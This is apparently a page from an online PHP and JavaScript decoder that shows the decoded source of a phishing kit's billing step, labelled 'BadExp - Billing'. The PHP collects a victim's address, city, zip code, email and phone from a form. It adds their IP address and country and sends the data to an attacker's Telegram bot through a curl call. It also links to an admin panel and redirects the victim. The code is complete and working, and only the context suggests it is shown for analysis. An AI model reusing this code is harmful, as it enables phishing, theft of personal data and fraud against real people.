Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



session_start();

include("../ajax/Check_Bad.php");
include("../ajax/IP_INFO.php");
$md5 = md5(base64_encode(md5($ip))); 
$md5ip = hash('sha256', $md5);

$address   = $_SESSION['address']= $_POST['address'];
$zip    = $_SESSION['zip']= $_POST['zip'];
$city   = $_SESSION['city']= $_POST['city'];
$email   = $_SESSION['email']= $_POST['email'];
$phone   = $_SESSION['phone']= $_POST['phone'];

if(isset($_POST['address']) && isset($_POST['zip']) && isset($_POST['city']) && isset($_POST['email']) && isset($_POST['phone'])) {
    $addressV = trim($_POST['address']);
    $zipV = trim($_POST['zip']);
    $cityV = trim($_POST['city']);
    $emailV = trim($_POST['email']);
    $phoneV = trim($_POST['phone']);
    if(!empty($addressV) && !empty($zipV) && !empty($cityV) && !empty($emailV) && !empty($phoneV)) {


$time = date('l jS \of F Y h:i:s A');
$YK = "BadExp - Billing";


function functiondilih($cc)
    {
        
        include ("api.php");
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://api.telegram.org/bot'.$key.'/sendMessage');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "chat_id=".$idchat."&text=".$cc."");
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

        $headers = array();
        $headers[] = 'Content-Type: application/x-www-form-urlencoded';
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
        $result = curl_exec($ch);

        curl_close ($ch);
    }
    {
    $date = gmdate("H:i:s | d/m/Y");
    
    $path = "https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
    $cccx = str_replace('bix.php', '', $path);
    $victim_ip = getenv("REMOTE_ADDR");
    $MSG1 = urlencode("
🪪🪪🪪🪪🪪 Billing ".$YK." 🪪🪪🪪🪪🪪
===============================================
👤 Adress  =>  ".$address." ".$zip." ".$city."
☎️ Phone      =>  ".$phone."
✉️ Email      =>  ".$email."
===============================================
📍  IP        =>  ".$ip."
⏰ TIME       =>  ".$date."
🌎  Country   =>  ".$rayax." | ".$countryname."
============================================
⚙️ Admin Panel   =>   ".$cccx."../adminpanel/panel.php?ip=".$ip."
============================================
🪪🪪🪪🪪🪪 Billing ".$YK." 🪪🪪🪪🪪🪪
");

    $file = fopen("../homa/".$ip.".txt","w");
    fwrite($file,"test");
           


            functiondilih($MSG1);

          

            
        }
        

         header("location: ../?lNFO=".$md5ip);

     
    } else {
        header("Location: ../?lD=".$md5ip);
    }
} else {
    header("Location: ../?lD=".$md5ip);
}



© 2023 Quttera Ltd. All rights reserved.